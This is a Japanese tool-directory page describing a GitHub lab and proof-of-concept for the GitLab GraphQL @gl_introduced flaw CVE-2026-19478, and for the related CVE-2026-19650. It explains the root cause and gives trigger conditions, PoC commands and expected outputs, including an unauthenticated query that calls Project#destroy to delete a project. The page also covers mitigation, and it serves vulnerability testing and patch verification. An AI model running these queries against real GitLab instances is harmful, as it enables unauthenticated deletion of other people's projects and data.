Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
gitlab-cve-2026-19478-lab — 再現可能なA/Bラボ + GitLab CVE-2026-19478 / CVE-2026-19650 (GraphQL @gl_introduced) 向けの安全なPoC | Kitploit
ツール/GitHubGitHub/dinosn/gitlab-cve-2026-19478-lab
脆弱性分析エクスプロイトウェブアプリケーション悪用APIセキュリティテストウェブセキュリティペネトレーションテストラボと実践
GitHubdinosn/gitlab-cve-2026-19478-lab

gitlab-cve-2026-19478-lab

再現可能なA/Bラボ + GitLab CVE-2026-19478 / CVE-2026-19650 (GraphQL @gl_introduced) 向けの安全なPoC

リポジトリを見る
816日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-19478 — GitLab GraphQL @gl_introduced 未認証の任意メソッド呼び出し(検証ラボ + PoC)

CVE-2026-19478(GitLab CE/EE、CVSS 9.4、Critical)向けの再現可能なA/Bラボおよび安全なPoCです。 未認証の攻撃者が、GraphQLで解決されたドメインオブジェクト上の任意の0引数Rubyメソッドを呼び出せます。 例:Project#destroy を呼び出して、認証情報なしで公開プロジェクトを削除することができます。

同じリリースで修正された関連脆弱性 CVE-2026-19650(GraphQLマルチプレックス・クエリスワップ)のPoCも同梱しています。

認可されたセキュリティテスト/教育目的のみ。 すべては自身のローカルコンテナ上で実行されます。


1. 脆弱性

GitLabにはGraphQLクライアントディレクティブ @gl_introduced(version: "X.Y.Z")(ローリングデプロイ向けの前方互換性)があります。 クエリが実行中サーバーより新しいバージョンのフィールドを指定すると、トレーサー (Gitlab::Graphql::VersionFilter::IntroducedTracer)が静的検証の前にそれを除去してクエリを検証させ、 実行時には元のドキュメントを再実行して、未知のフィールドをフォールバックに解決させます。

バグはフォールバック(lib/gitlab/graphql/version_filter/future_field_fallback.rb、パッチ適用前)にあります:

root@kitploit:~
def fallback_field(name:)
  GraphQL::Schema::Field.new(owner: self, name: name,
    type: GraphQL::Types::Boolean, fallback_value: nil)   # <-- no resolver
end
ツールをダウンロード

リゾルバのない GraphQL::Schema::Field は、graphql-rubyによって object.public_send(field_name) を呼び出して解決されます(graphql-ruby lib/graphql/schema/field.rb — この respond_to?(@method_sym) → public_send 分岐は fallback_value が参照されるより前に実行されるため、 fallback_value: nil はデッドコードでした)。したがって、@gl_introduced の下では、クライアントが 現在解決中のオブジェクト上の任意の0引数メソッドと等しいフィールド名を選択し、サーバーがそれを呼び出します。

公開プロジェクトを解決し、destroy という名前の「将来フィールド」をリクエストすると → サーバーが Project#destroy を実行します。

  • 影響: 公開プロジェクトおよびユーザーデータの未認証での変更・削除(CVSS 9.4、AV:N/AC:L/PR:N/UI:N/C:L/I:H/A:H)。
  • 影響を受けるバージョン: GitLab CE/EE 18.2–18.11.10、19.0.0–19.0.7、19.1.0–19.1.5、19.2.0–19.2.3。
  • 修正バージョン: 18.11.11、19.0.8、19.1.6、19.2.4(2026-08-17)— フォールバックは現在、明示的な Resolvers::NilResolver を使用して nil を返し、メソッドを呼び出しません。

トリガー条件(経験的に判明)

  1. @gl_introduced(version:) はサーバーバージョンより大きい必要があります(99.0.0を使用)。
  2. フィールド名はメソッド名と完全に一致している必要があります(Rubyで定義されているsnake_case、例:to_param、destroy)。
  3. 親セレクションには実際の兄弟フィールドが1つ以上必要です(例:id)。そうでない場合、フィルタリング後のドキュメントは空の セレクションセットになり、GitLabは "Field must have selections" バリデーションエラーを返します。

2. クイックスタート(A/Bラボ:脆弱な19.2.2 vs 修正済み19.2.4)

要件:Docker + docker compose、空きRAM約8 GB、Python 3。

root@kitploit:~
docker compose up -d            # boots vulnerable :8222 and patched :8224 (GitLab takes ~3-5 min to become healthy)
./setup.sh                      # waits for readiness, seeds a public project + an admin token on each instance

setup.sh はインスタンスごとに、ベースURL、シードされた公開プロジェクトのパス(root/pub)、および管理者PATを出力します。


3. PoCの実行

3a. 検出(安全、非破壊 — デフォルト)

無害なメソッド(to_param)によるメソッド呼び出しプリミティブを使用します。データは変更されません。

root@kitploit:~
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8222     # vulnerable  -> VULNERABLE
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8224     # patched     -> NOT VULNERABLE

期待される出力:

root@kitploit:~
[*] mechanism check .......... @gl_introduced active (unknown field returns null, no error)
[*] method-call probe ........ { project(fullPath:"root/pub"){ id to_param @gl_introduced(version:"99.0.0") } }
[+] response ................. {"project":{"id":"gid://gitlab/Project/1","to_param":true}}
[!] VULNERABLE  — server invoked Project#to_param via public_send (returned non-null); CVE-2026-19478 present.

一方、修正済みインスタンスでは:

root@kitploit:~
[+] response ................. {"project":{"id":"gid://gitlab/Project/1","to_param":null}}
[+] NOT VULNERABLE — fallback returned null (NilResolver); patched.

3b. 破壊的影響の証明(オプトイン — 自身が作成した使い捨てプロジェクトを削除)

REST API経由で自身の使い捨て公開プロジェクトを作成し(setup.sh の管理者トークンが必要)、 その後未認証のGraphQL攻撃で削除して、プロジェクトが削除されたことを確認します。

root@kitploit:~
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8222 \
    --prove-destroy --token <ADMIN_PAT_FROM_setup.sh> --namespace root

期待される出力(脆弱なインスタンス):

root@kitploit:~
[*] created throwaway public project poc-doomed-<rand> (id=42) via REST
[*] UNAUTH attack ............ { project(fullPath:"root/poc-doomed-<rand>"){ id destroy @gl_introduced(version:"99.0.0") } }
[+] response ................. {"project":{"id":"gid://gitlab/Project/42","destroy":true}}
[+] post-check (REST) ........ GET /api/v4/projects/42 -> 404 Not Found
[!] CONFIRMED — unauthenticated request DELETED the project. CVE-2026-19478 impact proven.

修正済みインスタンスでは、同じ実行でプロジェクトが依然として 200 OK を返し、destroy が null であると報告されます。

3c. 関連するCVE-2026-19650(マルチプレックス・クエリスワップ)— 安全

root@kitploit:~
python3 poc_cve_2026_19650.py --url http://127.0.0.1:8222   # VULNERABLE (slot 0 returns slot 1's data)
python3 poc_cve_2026_19650.py --url http://127.0.0.1:8224   # NOT VULNERABLE (slots isolated)

4. 自身のインスタンスに対するテスト

テストを許可されている任意のGitLabに対して --url を指定し、その上の公開プロジェクトに対して --project を指定します:

root@kitploit:~
python3 poc_cve_2026_19478.py --url https://gitlab.example.com --project some-group/some-public-project

検出は非破壊的です。所有していないものに対して --prove-destroy を使用しないでください。


5. 対策

19.2.4 / 19.1.6 / 19.0.8 / 18.11.11 以降にアップグレードしてください。修正ではフォールバックを Resolvers::NilResolver 経由に変更し(nil を返し、オブジェクトのメソッドを呼び出しません)。すぐにアップグレードできない場合は、 プロキシで @gl_introduced ディレクティブ/バージョンフィルタ経路をブロックするか、 未認証のGraphQLアクセスを制限してください。

6. ファイル

ファイル目的
docker-compose.yml脆弱な19.2.2-ce(:8222)+ 修正済み19.2.4-ce(:8224)を起動
setup.sh準備完了を待機し、インスタンスごとに root/pub 公開プロジェクト + 管理者トークンをシード
poc_cve_2026_19478.py検出(安全)+ オプションの --prove-destroy による影響の証明
poc_cve_2026_19650.pyマルチプレックス・クエリスワップの検出(安全)

7. 安全性に関する注意事項

  • すべてはユーザーが実行するコンテナを対象としています。デフォルトのPoCは非破壊的です。
  • --prove-destroy は自身の使い捨てプロジェクトを作成・削除します。root/pub やユーザーのデータには一切触れません。
  • 報告者:hiimguardian(CVE-2026-19478)、kreep(CVE-2026-19650)、GitLab HackerOne経由。パッチ適用後約90日間、公開の技術的 開示は保留されていました。このラボは、公開された修正コミット e283c6adeb3d(フォールバック)および d2ea4b971a98(マルチプレックススワップ)からメカニズムを導出しています。